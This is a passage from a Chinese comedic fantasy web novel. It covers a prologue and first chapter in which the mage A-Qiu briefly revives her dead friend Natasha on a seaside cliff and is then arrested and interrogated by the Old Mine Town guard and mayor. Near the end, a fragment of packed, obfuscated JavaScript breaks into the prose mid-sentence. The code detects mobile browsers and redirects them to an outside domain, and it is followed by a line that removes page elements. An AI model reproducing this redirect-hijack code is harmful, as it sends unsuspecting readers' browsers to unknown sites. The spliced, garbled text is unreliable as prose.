《忍住脸红比忍住魔化还难》 1. 序章 条条大路通罗马,但有的人生来就想去雅典。 和居住在这片洱鸾大陆上的绝大多数人不同,魔法师阿邱在取得魔法成果后不仅很难感到骄傲自豪,反而特别容易陷入自我厌恶,换作任何一个纯粹的人,即便掌握着近乎起死回生的禁忌之术,也能全然享受“我救了人,且师出有名,我好厉害!”的光荣时刻。 ——而不是像现在这样,鬼鬼祟祟地站在葬礼上、站在悬崖边,伸长了脖子对着遗体嗫嚅,站远了看,简直就像一条不挑食的饿犬。 好在葬礼只有她一个活人出席;自从离开塔尔塔洛斯、离开阿瓦隆神学院,她也不必随时担心有几道目光黏在身上了。 “娜塔莎……” 叫醒娜塔莎之前,阿邱还没有停止思考。她在这时得出的结论是:等一下,娜塔莎可不是“睡死过去”了那么简单啊!突然叫醒一个深眠的人本就不利于她的健康,更别提用的还是……“这种”叫醒服务。 这小半个月以来,回来了小半个月的娜塔莎还能为了什么再回来一次呢?这才是值得她思考的。 “……督学来了?” 作为一个文法学校的过世学生,即便是插班的,这也理应是娜塔莎最怕听到的一句话:插班生通常坐后排、有机可乘,每天躲在课桌底下死命偷看《北城酷水兵狂爱西城野玫瑰》,督学只是目不斜视地路过窗口,都能把她给吓活喽。 在她生前,这人口口声声说假如还有来生,她要做的头一件事就是去上学,叫她拿什么交换都愿意! 真去上了学又是这么个态度,那还不如一早就把话说明白,这样阿邱就能去书店扫空所有的美少年狂热主义新浪潮小说——既不浪费时间,因为它们全都摆在店门口向阳处的畅销书架上;又比较省钱,反正看来看去都是同一套东西,一本顶一万本。买完了小说,两人瘫在书堆里五天翻完作罢,哪还用得着阿邱担惊受怕地跟着当了小半个月的插班老师啊? 生死关头,其余价值取向更为主次分明。看样子,督学无法打扰娜塔莎的第二次长眠。 阿邱灵机一动,换了个话题:“上届阿瑞斯杯……克洛诺斯败给了齐格飞。” 阿瑞斯杯,全境公民最热衷的竞技盛典,三年办一次,不办时全民全力筹备三年,影响力仅次于五年一届的卫城神殿公民大会。距离本届阿瑞斯杯还剩不到两个月,娜塔莎忙着偷看小说那会,班上有不少商贩子弟逃学去了本次大赛举办地,也就是隔壁的旧矿山镇。 而阿邱提到的名字,正是两位炙手可热的注册角斗士,虽说后者算得上娜塔莎的老乡、前者早就斩获最高评级不用参赛了,可老乡竟敢把老将干翻在地,这种事说不定比“督学来了”还提神。 果然,这一颗子弹正中眉心。灰白的娜塔莎直挺挺坐起来,压住眼睛的石头片也气鼓鼓地掉落,咚咚敲响了她的腿骨:“兴奋剂,绝对是兴奋剂!斯文托维特,狗屎!” “斯文托维特(没有狗屎)”是那个齐格飞原本的姓氏,也是希孚里亚的新贵家族引以为傲的标志,听着就挂主角相。那么为什么要用别人的名字来取代这个标志呢? 是这样的。几百年前,神魔大战结束后,烦人的恶魔一族仍盘踞在不可探索的境外海域,虎视眈眈地盯着这片洱鸾大陆。岂敢懈怠?崇尚武力、全民备战才是十字城邦的生存之道;为尊者讳,人们很少对作为重要武装力量培养的角斗士们直呼其名,越是出名的角斗士,越是被鼓励传扬其敬称、诨名等。而约定俗成地,他们的称号多半来自古籍、神典,那当中的伟名多如繁星,捡现成的,岂不美哉?虽有偷懒之嫌,人们的敬畏却跨过了门槛与楼梯,直达绘有诸神的穹顶。 说到这个,阿邱就有一种暗搓搓的怒意:人们不是很讨厌魔族来的吗!虽然魔族的确很惹人讨厌就是了……但是,一边讨厌据说是魔族发明的赋格魔法,一边在命名上保留赋格的审美,什么意思嘛? 正如公民城邦制建立起来后,骑士、公爵这类王政时代特有的称号也沿袭下来,听着很威风,可是怎能美化贵族奴役平民的黑暗时代呢?忘性可真大! 如此想着,娜塔莎中气十足的大骂也传入耳中:“人们到底什么时候才能发现,齐格飞、黄金右手——骗局、全是骗局!哪有短时间内评级上升如此之快的角斗士?定是那希孚里亚的缩头乌龟祭司,暗地里对他使用了我们穷人接触不到的技术!守护‘平均律’的祭司不能珍惜女神的恩赐,要我说,他就等着被换届吧!还有,能不能来个好人替天行道,去剁了那条该死的‘黄金右手’!……” 事实上,非但这个齐格飞没惹过她,两人甚至都素未谋面。娜塔莎之所以会这么讲,不过是诨名为“克洛诺斯”、人称草根战神的老将是她多年追逐的精神偶像。 还住大学院宿舍那会儿,娜塔莎恨不得拿克洛诺斯的海报来糊墙,有时候阿邱就很吃醋,明明她阿邱也很厉害,而且娜塔莎知道她很厉害,忽然来了一个遥远的、快要老去的平面男人,不过是被大众赋予了一些虚名……一个个的就偏爱得不行!远香近臭、距离产生美是吧? 当然,阿邱跟这个克洛诺斯也是素昧平生,只不过她的个人习惯是这样的,无法接受喜欢的人喜欢别人超过自己,于是一年四季都在偷偷地吃干醋。 “我骗你的!”因为吃醋,阿邱也大声嚷嚷起来,“你也不想想你死多久了!” 娜塔莎熄火了。正如阿邱所期盼的那样,她不好意思地垂下头:“也对哦……他老早就不打比赛了。对不起邱老师,我再也不敢了。” 阿邱哼了一声,心情转好,慎之又慎地扯她起来,以免把她给扯散了:“走走,你不是想看没有冰川的海长什么样吗?我们好不容易来这儿一趟,天天困在学校还没来得及出来看看呢,趁你现在醒着,赶紧的吧!” 葬礼的举行地点设在海边悬崖。说是海边,其实没有大家印象中的阳光沙滩船长仙人掌,居高临下地,恐高的娜塔莎趴在峭壁边缘观看浪流。 洱鸾大陆的“海边”的确没什么“海边”的意思,地图显示,环大陆共有五片海域,划分境内境外的绵长海岸线几乎全是刀劈斧削般的悬崖峭壁,其中以北部城邦·希孚里亚的边境线海拔最高。事实上,这种特殊的海岸线是史前文明的遗产,传说是极其高大的古代种族利用极其简陋的石斧,站在海里肌肉一鼓一鼓地劈出来的,留下这道强有力的屏障,为人类隔绝了境外的危险。 顺带一提,正是为此,潜入境内的魔族间谍——虽然官方没有正式发过防间谍通告,可你当魔族是傻的吗?要么就是瘸的,洱鸾大陆这么个好地方,谁不觊觎呢?——会把成功入境称为“上岸”。因为特殊的海岸线,“上”这个动作尤其艰难,故而特别强调,这是危险的黑话,好孩子不要学。 再过不久,娜塔莎就要去魔界了。人类比魔族高阶得多,死去的人类据说都被俘虏到了魔界,有朝一日,等境内的优秀角斗士们集结成军、远征不可知的海域,终于覆灭了魔族时,逝去的人们就能回来啦。 那么阿邱就有个问题了,魔界的土地面积比他们十字城邦大多少呀?能容得下那么多口人吗?粮食从哪来、住所够不够用?气候宜不宜人、新浪潮小说够看吗?都怪娜塔莎死了,不然好端端的,她关心魔族的生活干嘛? 娜塔莎怕高怕得浑身发抖,却像是对什么很感兴趣似的,半个身子都毅然决然地探出去了。 阿邱愁眉苦脸地看着她:“你要是再投海我就真的没办法了……” 当她也跟着探出身子,才明白了娜塔莎为什么想看“没有冰川的海”。 从这头看去,对岸就是希孚里亚城的不冻港唯其尼奥港。这是格拉恰莉丝之海与斯提勒斯之海的交汇处,为了在特殊的海边实现一个“港”字,石壁上挖出了样式复杂的阶梯结构,起重机在大大小小的洞穴中探头探脑,以便货运船只展开工作——那些高大的史前种族忙完防御工事后便离开了洱鸾大陆,留下来的掏洞任务可是个大工程呢,好在咱们人类还有现代魔法。 不过,大肆破坏史前遗产仍然令人愧疚,最好的弥补方法便是物尽其用:除了大港口所需要的一切设施,还有一个希孚里亚的水兵营驻扎在此,北城水兵都有名到成为一种文学典型了,刚开了春,海浪里便起起伏伏着一条条白花花的身子,那是只穿一条泳裤的水兵,他们健壮结实、线条优美、无忧无虑,在浪流中欢快地嬉戏。 听别人说,到了夏季,浪流变得更有活力,除了水兵的半截白条身子,运气不好……运气好的话,海面上还时常飘着一些失去水兵的泳裤。谁不喜欢看美貌的男人呢?尤其是不穿衣服的,娜塔莎这么咕哝着。 那么很显然,她的偶像克洛诺斯也是个无论穿衣与否都美貌的男人,算算年龄,还是个风韵犹存的美貌大叔,有的人就好这口,于是年轻的齐格飞在某些层面上是逊色于他的……具体情况阿邱也不清楚,因为吃醋,她从不拿正眼瞧满墙的海报,也不计较美貌大叔长什么样子,显得自己好像输了似的! 第二次了。她叹着气望向娜塔莎:“你下次交待遗言时麻烦把话说清楚……” 说好的人之将死其言也善呢!要是娜塔莎一开始就言明目的——不就是北城水兵吗!下了山她俩就能看个够,虽然北城水兵在岸上裹得严实,怕冷,但夜间的娱乐活动场所也不乏他们的白条身子啊,运气不好,还能直观地见识到没有泳裤的版本——扯什么“想看没有冰川的海”,害得阿邱第一时间想到不冻港这么个全境最扣题的地方,屁颠屁颠跑过来,还以为真能帮人实现什么浪漫的遗愿呢。 “我发现了,‘浪漫’都是假的……”她有气无力地说道,算是总结了这趟说走就走的旅程。 娜塔莎却想到了别处:“你才败了一次,就敢下此定论?” 阿邱不作声。 “说真的,你这一走,童貉怎么办?”顺势地,娜塔莎对一个从没见过的人表达了迟来的关心。 阿邱跟个被拆穿谎言的小屁孩似的,梗着脖子道:“还能怎么办?我应付不来那种空心人!” “也不去把钱讨回来?” “钱——那是因为……交换魔法,我还不熟练,谁知道……被换到什么地方去了。”阿邱说着,尴尬地起了身,弯起手指搓搓额头,“我可不能再回去了,损失点小钱而已,就当是为自由交了赎金吧……” 嘴上说着“小钱”,她下意识地把手伸进口袋,默数着仅剩的几枚银币。要知道,文法学校的教师拿的是最低档的工资,她也没干多长时间,既要维持两口人的日常开销,还要还上从卫城来到瓦德密尔的旅费……想想就来气,这不都是为了帮娜塔莎实现遗愿吗! 然而最新消息是,她这位积极的导游未能正确理解旅客的真实意图,这个世界到底怎么了?不管活的死的,一开始就大胆说出心声不好吗? 不好。 ……但她也并不后悔得到许可就撒丫子跑下了山,宛如身后有狗在撵。 娜塔莎的脑袋已经不受她的控制了。她喃喃自语着,也不知在跟谁说话:“可是失去了浪漫,这个世界就会毁灭哦。不是在喊口号,真就是字面意思,只要你能保持住浪漫,世界就能得到拯救。” 阿邱的肩膀往下一垮:“世界又轮不到我来拯救……” 但是打从心底里,她不是这么认为的。 又不好意思直接承认,故而东拉西扯起来:“……你想说的该不会是‘狼灭精神’吧?” 狼灭精神。很难想象你会在西幻题材看到这四个字吧?提前预警,这里是中式西幻,接下来你不光会看到海量古早汉字梗,还会立即看到作者用汉字给主人公画像。 说,刚开了春,阿邱导游走在前往不冻港的路上,从行人的衣着判断出今天天气大抵是很冷的,本来戴上了耳套,又需要实时判断游客的呼吸声,她觉得右边的耳朵更加好使,所以摘掉一半的耳套把它露出来,形成了“邱”字多出来的包耳旁……那不是应该露出左耳才对吗? 莫慌,“阿”字已经替她把左耳露出来了,名字里带“阿”的人,耳朵都很灵的;再者,阿邱就和你和我一样,左右脸不一定对称,但两只耳朵一定是长在同一条水平线上的;此外,御寒不御寒对她来讲也没什么要紧,寒冷是她平起平坐的宿敌,就在刚才,谈论起浪里白条的趣事,她干脆把两个耳套都摘了。 肖像就暂时画到这里吧。 思考着两个脑子的思考,摘了耳套、故意把浪漫精神听成狼灭精神的阿邱愈发理直气壮地说:“那你大可不必操心,狼灭精神我有的是,取之不尽,用之不竭!” 娜塔莎的发言更是掷地有声:“你最好是!” 她一伸手,精准地从阿邱的大衣口袋里掏出地图,皱巴巴地展开来:“那就让我们最后再讨论一次吧,你说,魔界 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娜塔莎就被诱导着说出了阿邱想听的话:“那是你上次还没准备好。重来一次吧,你的人生、整个世界,重来一次,一切都还来得及。” 阿邱又使用虚假叹气跳过了“感谢您的夸奖和鼓励”这一环节:“你说得也对,那就等我变成纯粹的人再考虑……” 可是娜塔莎伸出溃烂越来越重的双手,又一次捧起她的脸,语气充满了坚决:“别等了,现在就开始干!你要是不想累死,其实不用非得变成‘纯粹的人’才能去拯救世界的。” 阿邱吓了一大跳。嘿,她竟然是这么想的吗?! “其实不用非得……也能……”的句式对她来讲是非常陌生、也很可怕的。如果实在难以理解,不妨从我们所在的位面找点比方来打: 这就相当于,有人不负责任地告诉一个出身普通的大学生:其实不用非得考上公务员也能去学烘焙的;其实保研失败也能直接用本科学历去投大厂的;其实不用特别了解西幻史也能强写中式西幻的;其实不用非得签约也能敝帚自珍地接着往下写的;其实不用瘦成骨架也能素着一张脸去跟心动男嘉宾表白的…… 在我们的位面,这是一种统称为“上岸学”的思潮,用更为学究的说法,叫个什么“路径依赖”:成功了是范进,失败了是孔乙己——他们的成功与失败都与个人努力无关,也都遭到了不愿指明方向、违背原作者意图的残酷诟病。 回到阿邱所在的位面,她的问题则更为严重:照理说,人和其他物种的叠加态是不可能长期存在的,这也是为什么“半人半魔”不成为一个独立的种族,也就阿邱神经大条,能忍常人之所不能,项圈这东西,确实还是早戴早好。 综上所述,阿邱听了娜塔莎的话,心情难免激荡,甚至用“答应下来”的大前提问出了这句话:“那你觉得浪漫精神具体指什么呢?” 娜塔莎不假思索道:“对你来讲,坚持看一百年不穿衣服的帅哥?” “那是你!” “也是你。” “就这样吗?” “就这样。” “这不纯纯好色吗!”说完阿邱就发现,悬崖下的浪里白条们还在戏水,娜塔莎却不知什么时候从他们身上收回了渴望的目光,改为直勾勾地盯着她。 “是啊,你不承认吗?不知道是谁告诉过我,她活着的意义就是征服童貉——” “不不不,你记岔了,我是说我活着有个重要的意义就是看帅哥,不包括童貉那种娇弱无力生活不能自理的……” “所以你以全部家当为代价甩了他。” “啊哈哈……” “这么大的问题,闭上眼睛就当不存在了是吧?” “照你的要求,我可不能闭上眼睛。” “别急,除了你,睁着眼的还大有人在,只有你傻,你会到处说。” 说完这一句,娜塔莎闭上了眼睛:“好了,阿秋,玩够了吗?别再借着我的嘴说你自己想听的话了,我都烂成这样了,就让我安心地走吧。” 阿邱缓缓蹲下身:“最后你想留给我的话就是这句?” “那你还想听什么?‘你明知道在这世界上,海永远比岸多’?‘环大陆的五片海只对我们有意义’?还是让我为你吟诗一首?——啊,我想到了。” “是什么?”阿邱捂上眼睛,抬头问道。 “就算你满脑子都是不穿泳裤的水兵,世界也不会因此变得更糟。所以去吧,回到世界中去吧,去成为纯粹的人类,然后拯救世界、占领城堡、迎娶全境最美丽的王子,最后和他一起壮烈牺牲,以英雄的姿态赎清你的罪孽吧。” “好的。” 阿邱满口答应道。她暂时还不想发现,成为人类、迎娶王子和赎清罪孽这三件事,根本不可能同时办到。 娜塔莎骨肉分离地坍塌了。“不等价交换”的弊端就在这里——无法控制交换行为何时结束。 自私自利的罪人阿邱也在此刻听到了远方的哨声,是森林戍卫队吧,前来逮捕她的,严厉程度必定比不上塔尔塔洛斯的狱警,可想想她小半个月以来干过的事,除了牢饭,接下来也没什么可吃的了。 阿瑞斯杯赛前准备期,不可以占用紧张的公共资源——神殿戍卫队的脚力也是一种公共资源。阿邱懂事地站起身,主动朝哨声传来的方向走去。 美梦女神狄安娜在上,事到如今她还是大逆不道地觉得,世上根本就没有永生这回事、根本没有,就算魔族覆灭了也不会有。魔族是魔族,人类是人类,要是人类那么容易就变成了魔族,她的痛苦又算什么? 在这一段短暂的路途中,她得出的结论是:娜塔莎既不会去魔界,也不会再回来了。 她还以为小半个月的缓冲期能让她对死亡有些实感,现实却说,做她的美梦吧!前文中的每一个感叹号、每一个声调往上扬的结句字都再也支撑不了她了,一大只20周岁的成年女性,像个在游乐园走失、又被坏心眼的小丑吓了一跳的孤儿,捂着眼睛、抽抽搭搭地往前走,透过指缝窥探着迎面而来的危险世界,那是戍卫队的军官叔叔们。 阿邱不敢再回头看不冻港一眼,只希望娜塔莎原谅她的误读与忽视、接受她精心准备的葬身之地。 那么,再说一次晚安吧,姐姐。 3. 第一章 逮住 阿邱昨天半夜就哭好了。第二天上午被提到审讯室,主审官暂未到场,她还能肿着眼泡和书记官聊五个子儿的,不出十分钟,除了打听到他是哪一年哪一月加入的旧矿山镇戍卫队,还盘清楚了他家里有几口人、孩子在哪儿上学。 书记官非常后悔。不过看这人孤零零的一个姑娘家,出于人道主义理念随口问了句“羁押所还住得惯吗”,不得了,她好像根本搞不懂什么叫边界感似的,一把逮住了不恰当的对象,用不合时宜的寒暄几乎要把他给淹没了。 “武术学校?小孩上武术学校最好了,正经实训课多的来,不像文法学校,尽是些枯燥的讲授,学生逮着机会就躲在桌子底下看小说。”结合极其贫瘠的社会经验,阿邱兴致勃勃地提出自己的看法,仿佛这是一个欢迎她参与讨论的话题。 只要对话顺利展开,她就能感到一丝骄傲自豪。书上说,出门在外想要和人打好关系,最快的方法就是从对方的生活入手,虽说阿邱蹲了八年大牢没怎么接触过人,缺乏必要的生活实践,但她在三年多的学业生涯中积累了不少实践的理论知识……这话看似矛盾,事实上,她单方面地觉得气氛还不错,有赖于理论知识的正确判断,底气也跟着越来越足了。 ——却没想到书记官下一秒就被她实践走了,用本子夹着笔,招呼也不打地。除了逃跑,多半也是想提醒受审人注意自己的身份吧。 隐约领悟到这一点,阿邱挠挠头,暂时闭上了嘴。 正好肚子有点饿了。桌上贴心地摆着一袋名叫“罗宾豆”的小零食,撕开包装袋上知更鸟的红色胸膛,在屋内仅剩的审讯人员——长得比书记官还高,脸色也比书记官要难看——面前,她小声又小声地咀嚼起来。 嚼得脑仁发疼时,她又后知后觉地意识到:咦,这好像是她在瓦德密尔吃到的第一顿牢饭? 打住,说得好像还有第二顿似的。 等一袋罗宾豆见了底,脸色更难看的审讯人员清清嗓子,开始了正式问话。 不过,既然真正有分量的问话者不在场,她的作用也就相当于舞台剧的开场节目,在避免提及关键剧情的基础上,用热闹的定场诗把观众拉进整出戏的氛围中: “你上过大学院?” 阿邱也训练有素地正襟危坐,吐字清晰地回答她:“是的是的,阿瓦隆神学院。” “学什么专业的?” “植物学。” 审讯员嗤笑:“搞园艺的。” 阿邱皱皱眉:“也不全是吧。” 定场诗念完,审讯员便低下了头,在沉默中翻看起了卷宗。 所以这出戏的氛围是“受审的不准太得意”?阿邱有些委屈地心想。一定不是这样的,仔细一看,审讯员正在用她的舌头狂舔嘴唇,还反复捋着耳畔的鬓发——捋上来,捋下去,最后还是决定整个儿遮住耳朵,以免被不中听的话袭击了去。这些小动作都能说明她很紧张,阿邱猜测,她一定是刚上任不久的新人,常常替那些怕麻烦的老油条收拾残局,被迫学会冷笑武装自己,就像现在这样。 想想那袋罗宾豆最有可能是哪个年龄段的人放在桌上的,再看看同龄人那副不自在的样子,阿邱的五内难免分泌出一些同情,甚至受她感染,一不留神,像撒网一样抛出了一大堆话题: “长官、长官,你叫什么名字呀?来这儿多久啦?今天你冷不冷啊?看你年纪也不大,怎么就干上这份工作啦?是本地人吗?有没有男朋友啊?休息时都喜欢做什么呀?……” ——实践的理论有云:“展示出一条共情的通道一定会让对方倍感亲切”,何况阿邱的通道总是像扫帚尾巴一样支流丰富呢! 不幸的是,面前的桌子挨了猛力一拍,扫帚尾巴也被齐根截断了:“肃静!我没有提问你不要发言!” 一闪身躲过阿邱撒来的网,新人审讯员挺直腰板,续上了刚才的话题。 “有什么好得意的?园艺学有哪门子的技术含量,是个认字的都能混毕业!我们家雇佣的园丁,签合同时掏了那么多本证书出来,不还是一边查书一边干活,最后把十几年的玫瑰园都给弄废了?” 啊啊?还以为她能从卷宗中搬出哪条威严的法律制止突然激动的受审人呢,结果就是为了私怨贬低对方的专业?这真是神殿戍卫队该有的素质吗? 1。 阿邱在心里默数了一个数,敛去真心实意的笑容,同时自我反省——要是按新人审讯员的标准,查不查书还是次要的,作为大学院预科的肄业生,她连证书都掏不出来一本,只会更快地把玫瑰园变成一片灰色罢了,确实不应该得意。 可她根本就没得意啊!就这么一小会,可怕的事已经连续发生两回了,足以说明……不是阿邱实践失败,而是这边的人说话做事完全不讲情面,跟书上写的、记忆中的完全不一样……好的、好的,她也应该转换态度了。 态度上的僭越抹除了,面对整个审讯室里身份最低的人,专业审讯员的傲慢渐渐压过了不自在:“我再问你,你的脸是天生就长这样的吗?” 这回,阿邱没再用言语回答她,龇牙一乐,两巴掌拍在自己脸上,用搓掉干透泥巴的力道狠搓了几下。 算起来,她已经两天没涂润肤霜了,脸上居然也没怎么起皮,东部城邦·瓦德密尔的气候是多么宜人啊。那为什么其常住人口所占比例全境最低呢?真实原因必定令人发笑……发愁、发愁。 这里简单解释一下阿邱的搓脸行为:除了证明没整过容,还能表示她这张脸上没有任何使用过赋格魔法的痕迹。既是恶魔一族发明的魔法,一言以蔽之,赋格魔法的本质就是“谎言”,最常见的施展情境便是改换形貌、用伪造出来的身份作奸犯科;其核心机制在于不声明、不解释,自然而然地释放出被篡改的信息并机械重复,洗脑式干扰他人的认知——当然,一旦对本体造成明显的扭曲和破坏,幻象便会在顷刻间不攻自破。 由于这是魔族“上岸”的必备技能,神殿戍卫队不得不拉响了警报,境内公民若想取得赋格魔法的使用权,必须提前半年以上在各地常务司登记,经委员会评估决定驳回或是申报到更高级部门,接下来就是等着层层审批——从审核流程的复杂程度来看,魔族肯定长得都和人类大相径庭,以一种更丑陋的方式,但愿如此。 其实戍卫队审批与否都不是要紧的,人类做事光明磊落,又发自内心地厌恶魔族,谁会放着那么多随取随用的魔法不去选择,偏要跑去研究赋格魔法?灵魂脏透了的才会这么干,这种人啊,就是读遍了圣诗,迟早也要背叛狄安娜女神变成异端的!活该他们被全境流放、永远不能再回到十字城邦。搓完脸,阿邱摸摸项圈,勉强找回了一丝安心。 说到这里,事实上,阿邱正在接触的这个团体便是由卫城神殿统辖、名为“神殿戍卫队”的全境最高武装力量,它在洱鸾大陆各处都设有支部,公众形象也因地而异,就比如说,瓦德密尔北部由广袤的阔叶落叶林覆盖,它们的冬枯夏荣标志着全境最分明的四季,那么驻扎在此地的一支部队也就被称为“森林戍卫队”。 作为狄安娜女神的直属武装力量,阿邱充分相信戍卫队的调查速度,她在邻镇和不冻港做了那么些诡异的小动作,当然会被怀疑涉嫌滥用赋格魔法伪造身份啦,可是不好意思啊,她只是合法地改了一个新名字,肉身还是由从小到大除了身高和性征什么都没变的、原汁原味的她本尊来驾驶的哦。 小半个月之前,刚来瓦德密尔那会儿,为了不引起注意,阿邱在插班老师面试上略施小计,跳过了这一环节;如今挥别了娜塔莎、只剩她自己一个人,新生活的大考这才敲响了钟声。 不过事情发展到这一步,几乎可以确定的是——等主审官来了才能提及的核心问题,多半是她对娜塔莎“做了什么”。 又捱了一小会,书记官回来了,身后跟着一个比他更压抑……不,比他更威风的矮胖中年男性,想必这位就是姗姗来迟的主审官了。 可是,听他们低声交谈的内容,先前的那个主审官是有事来不了?那敢情好,阿邱可以偷摸松一口气了。她这边主要是……阈值比较高,跟之前干的事比起来,对单独的个体施展禁忌魔法(疑似),也算不上值得召开紧急会议的重大案件了吧…… 想来经验丰富的主审官一定比新人更懂得调节气氛吧!阿邱调高了期待水平,听得他刚坐下就开门见山地说:“你的朋友已经由我镇常务司出资安葬了。” 很好,气氛一下子被调节到了非常沉重的水平。 唯一的好消息是,这件事沉重到对方跳过了“大考”的必要环节,都不需要受审人想方设法“略施小计”了。 阿邱迟疑着道了谢。可惜的是、不讲良心地问一句,她精心准备的安葬地就这么被取缔了吗? “辛苦你们了,可我觉得放在悬崖上也影响不到什么……” “你是说不冻港那个悬崖?” “呃,有什么问题吗?”现在……书上说现在……不是很流行天葬和海葬吗?阿邱没什么入土为安的观念,她觉得土葬反倒是最可怕的,有种用大地的暴力彻底剥夺自由身的感觉,还不如让盘桓的秃鹫吃进肚里,以碎块儿的形式最后享受一次飞翔,然后被消化掉,成为秃鹫下一次飞翔的动力。 听她这么说,主审官总算是皱起了眉头:“你觉得把一具遗骨堆放在那里没有问题?” 堆放。还得是主审官,换个动词,就连阿邱都能察觉到问题所在了。 她垂下头,由衷地道歉:“对不起,我再也不敢了。” 新人审讯员补充了一句:“没有下次了。” 奇怪,她刚才有说“下次”吗? 主审官点点头,“哗啦”地翻过一页手中的册子:“地址是旧矿山镇集体公墓,炉心池向北走五公里,墓碑是统一的,祭拜时请注意不要使用明火。” 也好,至少那边热闹,挤挤也能住。 只是……刚才她还有点发怵,现在看来,“外面”的世界好像也有宽容的一面?非但不追究禁忌魔法的来源,还好好安葬了她的同伙,简直就像——就像是把她当一个正式的公民来对待了?! 不受对方暴雨后涨潮般的情绪所感染,主审官抬头看向她,表情变得有些复杂:“对这件事没有异议?好,接下来我们需要了解一下你的个人信息。” 哦,说正事了。阿邱扯扯衣摆,又正襟危坐回去:“明白了长官。我的名字叫邱珊,是珊瑚的珊,不是——” 没等她说完,书记官就草草填好了什么,用一连串的问句打断了她:“家庭成员有哪些?父母是做什么的?有参加工作的兄弟姐妹吗?你是从希孚里亚过来的吧?在那边交过几年保险?有没有常居瓦德密尔的亲戚?……” 慢着慢着,怎么他也撒网啊! 阿邱结结巴巴地挑重点回答:“没有亲戚……我主要是想来看阿瑞斯杯……加上你们城邦有、有个全境藏书最多的黑曜石图书馆——是在市政区对吧!还有两个大学院……教育水平比较好,上学和教书都……所以我和我的……” 瞅着书记官的脸色,阿邱忽然一拍脑门,从贴身衣物的口袋里摸出她的宝贝黑卡,珍而重之地递了过去。 “对了对了,我有这个!这是希孚里亚市政厅亲批的,你们看,钢印都是最新的。” 看到颜色不太常见的公民通行证,主审官沉吟片刻,冲书记官使了个眼色。 接着,新人审讯员携屋内跟摆设一样没有存在感……不许笑,那是因为他们善于隐藏气息……的八名护卫,以惊人的速度离开了审讯室。 屏退了众人,书记官拖着椅子坐近了,朝主审官点点头,蓦地换了副敬重的腔调:“重新跟你介绍一下,这位是旧矿山镇的镇长,恰克·夏尔玛先生。” 一瞬间,阿邱的紧张攀上了顶峰。她早知道这个环节是逃不过去的,只是没想到竟还劳动到镇长头上去了…… 恰克镇长眯起眼,让它们进一步掩蔽在浓密的灰白色眉毛中,像是蛰伏在枯草里的侦察兵:“这样一来信息都对上了。据我们了解,这位二等通行证的持有者,你来自塔尔塔洛斯——鉴于那地方关的都是重大□□与不宜放逐的异端……” 这回开门开太大,山体滑坡了。 怎么办呢?我们先把过热的阿邱埋在泥里冷却一会,然后不计气氛地慢慢向屏幕外的观众解释吧。无论是战时还是和平年代,城邦与城邦间的情报往来都是要分等级的,显然阿邱的出身是镇长这个级别的官员才能知晓的机密,否则,仅凭一张黑卡——比起完全责任能力人所持有的“紫卡”降了一档的“二等通行证”,换做永远捍卫公民隐私权的隘口签证官,通常会按普遍情况来理解:持有者要么工作不稳定,出过税务或信用方面的小纰漏;要么干脆是私生子,不被父系家族所承认于是没有正式户籍,无外乎这两种情况。黑卡只比紫卡黑,通行证却保证通行权,只要有办法证明脸是自己的,他们一般不会刨根问底、过多为难。 那么阿邱的出身又是怎么传到恰比镇长耳朵里的呢?除了各地行政部门之间有迹可循的情报互通,还有一种特殊的可能性:毕竟这里是临近希孚里亚的旧矿山镇,前不久阿瓦隆神学院、北城市政厅与玫瑰学派的不和传言,以及这场波动带来的副产品,官帽再小,消息敏感的掌权者也不可能一无所知。 说着阿邱就想起了教授们常开的玩笑:现在的人啊,身上都长着一种特别有趣的矛盾:一方面热爱和平、对狄安娜女神忠贞不二;另一方面,又时常以先人一步嗅到斗争的气息为荣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052049|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就像阿邱,能以这样的身份钻空子办下一张黑卡,也得益于身边人灵敏的嗅觉……除此之外,还有她们最后的良心!可不只是害她吃了有生以来最狠的一次干醋那么简单。鉴于她和她们已经绝交了,哼哧哼哧钻出了泥巴,今后也不必多提这两个人。 情况捉摸不透,阿邱再次垂下头,控制不住地展开了最坏的设想:昨天她恍恍惚惚地被戍卫队带进羁押所,没留心记下路线,要是打晕了屋里的人和门外的人,应该往方向逃才不容易被逮住呢…… 可是恰比镇长接下来要说的是:“算起来你离开那地方快都有四年了,年纪也只是刚满二十而已——想必当年也有自己的苦衷吧。我们检查过了,希孚里亚市政厅的印戳不是伪造的,既然如此,我们也无权限制你出入旧矿山镇的自由。” 阿邱不敢置信地抬起头,双眼大放光彩:真的吗,这就算过关啦?考虑到眼前这位是镇长……还好还好,他们能掌握的信息顶多也就到这里了,应该还没资格知道她当年犯过什么事,血统层面的问题就更不用说了。 镇长的态度有所缓和,书记官却仍旧铁面无私:“不过还要特别提醒你一句,请不要在阿瑞斯杯举办期间闹事。” “嗐,您放心!我能闹什么事呢,我又不是那种疯狂的粉丝,一言不合就要暗杀偶像的敌手……”莫名感到自己在狡辩,阿邱说不下去了。 也明白他们的担心不无道理。大赛期间,全境最优秀的注册角斗士都集中在这个小镇上,魔族以及为虎作伥的异端分子很容易趁势摸上来……奇怪,按照常理,魔族不是更该趁机攻破防御薄弱的位置吗?啊,说不定魔族也尚武吧,而且魔族脑子有问题,从来不按常理出牌,大家都是这么说的。 “还有。”可能因为天气很冷吧,书记官的语气还在从冰点往下钻,“进镇之后,限你在一个月内找到正式工作——插班老师那种不算。否则的话,我们有权按照处置流浪汉的办法驱逐你,就近下放到乡郊务农。” 行吧,就知道但凡好事总有代价的。这也可以理解,阿邱的心情还算轻松,要是镇内没人愿意雇佣她,她的专业就是植物学,虽然预科上了三年、专业课只学了一点,基础知识还是具备一些的——当着人的面,必须表现出上述程度的不在意,她舔舔嘴唇道:“务农的话,我也算是专业对口吧!” 不过嘛,人都跑到旧矿山镇来了,“我还是想尽量留下来凑凑阿瑞斯杯的热闹……”不仅人多热闹,还有帅哥看啊!忘了告诉大家一个好消息——已日渐趋近选拔赛的阿瑞斯杯,对选手外表的要求也越来越严格啦。 